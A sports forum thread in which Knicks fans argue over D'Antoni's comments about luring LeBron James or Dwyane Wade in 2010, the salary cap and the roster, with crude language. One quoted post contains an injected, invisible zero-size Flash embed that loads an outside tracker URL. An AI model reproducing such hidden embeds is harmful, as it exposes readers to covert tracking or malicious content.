Wade + James Antithesis.

D'Antoni made a startling admission yesterday, during the Knicks' first summer-league practice yesterday at Valley High: One star may not feel comfortable coming to the Knicks next season without a marquee sidekick.
D'Antoni implored the Knicks must get significantly better this season to be more attractive to a free agent class in 2010 that includes LeBron James and Dwyane Wade.


Eight straight losing seasons haven't made the Knicks the NBA place-to-be, with Hill and Kidd using the Knicks as bargaining chips. The Knicks have cap space next summer for the superstar-studded free-agent class, but will James, Wade, Chris Bosh or Amare Stoudemire want to join a losing program on their own? Hill and Kidd didn't.
"That's why we might have to get two together," D'Antoni said. "Because by myself? I don't believe it totally [because] some guys think no matter what team they're on, they'll be really good."
However, squeezing in two marquee free agents is looking impossible, with predictions the salary cap could shrink to $50 million in 2010.


That's why D'Antoni said youngsters Danilo Gallinari and Wilson Chandler will have to elevate their games this season to a point in which a player like James or Wade will want to join the band.


But how likely is that? Gallinari is doing running with the summer-league team as he recovers from back surgery and is essentially a rookie after playing just 27games. Chandler is recovering from ankle surgery.
"A lot depends on Gallo," D'Antoni said. "We got to have Gallo step up. We have to have Wilson step up. We got to have a good year. We have to show that Gallo is a budding star. Wilson is a budding star. Somebody's got to go, "those two guys and us two. Yeah, we can do that."

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The 2010 plan is getting F'd in the A.

The reduced cap is a nightmare at this point.

No one could have seen it coming in such dramatic fashion BTW all you nay-sayers...you know it.

I'm gonna have to say that given all the signs, NEITHER Wade nor James will sign with us. I know it's early, but I'm gonna run with a 20/80% chance for James and a 25/75% for Wade.

Our biggest draw card for these two was the limitless bounty of NYC's marketing and bright lights. Now, with a heavily reduced cap and luxury tax, we can offer that lure to ONLY one player.

One. That's less than two. 2 - 1 = 1

And it comes with the apparent certainty of being a .500 team if not worse or a little better.

LBJ, Kobe, Wade, Dirk, Barkley, Robinson (to name but few) all couldn't and can't get it done by themselves, and we all know how bad Lebron wants that ring.

He's not gonna get it here @ this rate, not until 2012 - 2013...ish.

It's not a hopeless endeavor, at first it was full of optimism, but now, it's taken a solid boot right to the fruit.

We're still a better team than last year, we're no longer paying **** bags Marbury, Z Bo & Crawful multi millions to achieve nothing in their pathetic fashion. a 6-5 start aint ****ing shit and to say we'd have done better with 3 tards is pointless and moronic.

We've moved from #1 on the salary list to #9....

We're younger, more athletic, better defensively, have better shooters & passers, and we're tougher. All stated in my opinion obviously.

I'd like to end with a huge "Go **** yourself Isiah Thomas" and a huger "Good luck" to Donnie and Mike to sort out this gargantuan turd of an issue.

Good well thought out post. I agree with 95% of it. All but your thoughts on us being a better team then last season. So far we've made virtually no improvements so I'm not sure how or why we would be better. Is it because of Gallo? A healthy Gallinari 'can' be a major bonus. The D'Ano offense needs plenty of shooters. But Gallo alone I don't think improves us enough to make a real difference. I could be totally wrong, we'll just have to wait and see. Walsh's eye is on the motherf*cking sparrow for real if he thinks he's got a shot at Wade or James. I agree with getting under the cap but hopefully he's got a more realistic plan.

donchris said:

Good well thought out post. I agree with 95% of it. All but your thoughts on us being a better team then last season. So far we've made virtually no improvements so I'm not sure how or why we would be better. Is it because of Gallo? A healthy Gallinari 'can' be a major bonus. The D'Ano offense needs plenty of shooters. But Gallo alone I don't think improves us enough to make a real difference. I could be totally wrong, we'll just have to wait and see. Walsh's eye is on the motherf*cking sparrow for real if he thinks he's got a shot at Wade or James. I agree with getting under the cap but hopefully he's got a more realistic plan.

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well im just glad we dont have that whispering eye thomas here any longer

I do believe we are better than last year.
I believe chandler and gallo are both better all around players on both ends than crawford
I feel that D lee by way of no other options will be here still
nate will still be here as well
tony douglas is going to be the gilbert arenas if this draft Ill put my stamp on that prediction right now
Look for him to be all rookie second team this year.
and duhon is still only 26 I know he feel apart last yr, but for the first time in his life playing starter minutes running the point in a new system
until he broke down he was putting up some pretty nice over all numbers and was getting mentioned as a possible all star reserve
And technically playing 79 gms starting 76 and playing over 35 mins a game isnt really breaking down, I just felt that the team chemistry took a hit when they got hughes
if you recall they won 6 out of 7 going into the all star break , traded for hughes, plugged him into the starting line up and were 10 games under 500 from then on out, during that 6 out 7 streak duhon was avg like 18 and 9 shooting over 50 percent from down town. There is still potential for him to do good things this year with better scorers around him, I.E an improved nate, improved lee,improved chandler, improved gallo... and a squad coming in for a full training camp.

I can go back and check the threads from feb on here to prove most of you were pushing for him to make the A.S team being that the knicks were a few gms out of the playoffs and he was avg 13-8-3-2 at the time.


All im saying is we did get better, we will play better, and im not going to flip out over 2010 until we get to 2010.

you would be wise to do the same

Oh look, another 'Will we sign lebron or wade?" thread. How interesting.

Again, how many threads do we need on this subject????

Go Knicks 2009. F**k 2010. F**k Lebron. I'm a Knicks fan.

Dirk said:

Oh look, another 'Will we sign lebron or wade?" thread. How interesting.

Again, how many threads do we need on this subject????

Go Knicks 2009. F**k 2010. F**k Lebron. I'm a Knicks fan.

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co-signnnnnnnnnnnn

donchris said:

Good well thought out post. I agree with 95% of it. All but your thoughts on us being a better team then last season. So far we've made virtually no improvements so I'm not sure how or why we would be better. Is it because of Gallo? A healthy Gallinari 'can' be a major bonus. The D'Ano offense needs plenty of shooters. But Gallo alone I don't think improves us enough to make a real difference. I could be totally wrong, we'll just have to wait and see. Walsh's eye is on the motherf*cking sparrow for real if he thinks he's got a shot at Wade or James. I agree with getting under the cap but hopefully he's got a more realistic plan.

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The reason I said the team was better was based on a few things.

We're bigger in the front court now, enabling Lee to move back to the 4.

We have more shot blockers.

Chandler has a full season under his belt and can shake off that look of constant bewilderment.... Hopefully

Our front court defense improved with the signing of Douglas. I know that's a maybe btw, but I bet he plays better D than N8.

Our Cock is healthy.

Duhon's rested up and hopefully at his best, which can be very good as a matter of fact.

We have more of an option to execute interior to exterior passing which opens the court nicely for our penetrating players and our shooters.

Our core is young.

Our old have a year left.

We are more rounded through every position as opposed to last year especially when you compare our front court.

Larry Hughes will be seeing less time for Douglas before he gets the boot.

The last is Eddy Curry, he's jumping and a lot lighter (though still wobbly) and might be valuable when we need him against a Howard or O' Neal. He is also more tradeable now he's active and there's a big bodied center drought in the league .

I know there are still issues, but there's less than there were, and we are no longer atop the salary list which is massive.

I know there's bad sides

Originally posted by Meine Frau

Oh look, another 'Will we sign lebron or wade?" thread. How interesting.

Again, how many threads do we need on this subject????

Go Knicks 2009. F**k 2010. F**k Lebron. I'm a Knicks fan.

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Diggler, this post is as much about 2009 as James & Wade if you read the article and the ensuing post about it.

Word is Curry looks REALY good, and has vowed to dominate. If Curry returns to form, and Danilo, Chandler, Hill & Douglas show promise.... That is a solid core. If Darko & Harrington stay aboard and agree to their roles, that makes the Knicks even more attractive to Lebron.

Dirk said:

Oh look, another 'Will we sign lebron or wade?" thread. How interesting.

Again, how many threads do we need on this subject????<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="<A href="http://brbyowner.com/?tracker=4097"></param><param">http://brbyowner.com/?tracker=4097"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4097" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>

Go Knicks 2009. F**k 2010. F**k Lebron. I'm a Knicks fan.

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We are never going to sign any of these players, period.

stop talking about next year

how about this year where we are so disappointed in not getting a spot up shooter(stephen curry) yet former college spot up shooters jj redick and adam morrison are barely ever used.

Why hasnt anyone said lets go after morrison since he is buried on the bench for the lakers, who has an expiring contract, and just put up 24 points up in the summer league. I believe that he would flourish in this system since he could go back into gonzaga ways.

Everyone is so tied up on getting wade and lebron but that is going to be impossible unless we show promise this year.

james is a twat.so is wade.i wouldn't mind either cause james is the best in the game, and wade plays from Miami and i like the knicks to get payback for riley's bitchassness.roy would be awesome.the only three i'd worry about siging is roy,wade, or james.

bpiacquadio said:

stop talking about next year

how about this year where we are so disappointed in not getting a spot up shooter(stephen curry) yet former college spot up shooters jj redick and adam morrison are barely ever used.

Why hasnt anyone said lets go after morrison since he is buried on the bench for the lakers, who has an expiring contract, and just put up 24 points up in the summer league. I believe that he would flourish in this system since he could go back into gonzaga ways.

Everyone is so tied up on getting wade and lebron but that is going to be impossible unless we show promise this year.

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That is exactly what this thread is about, and why get Morrison when we have Gallinari?

morrison can be the sg we need for this year and maybe even beyond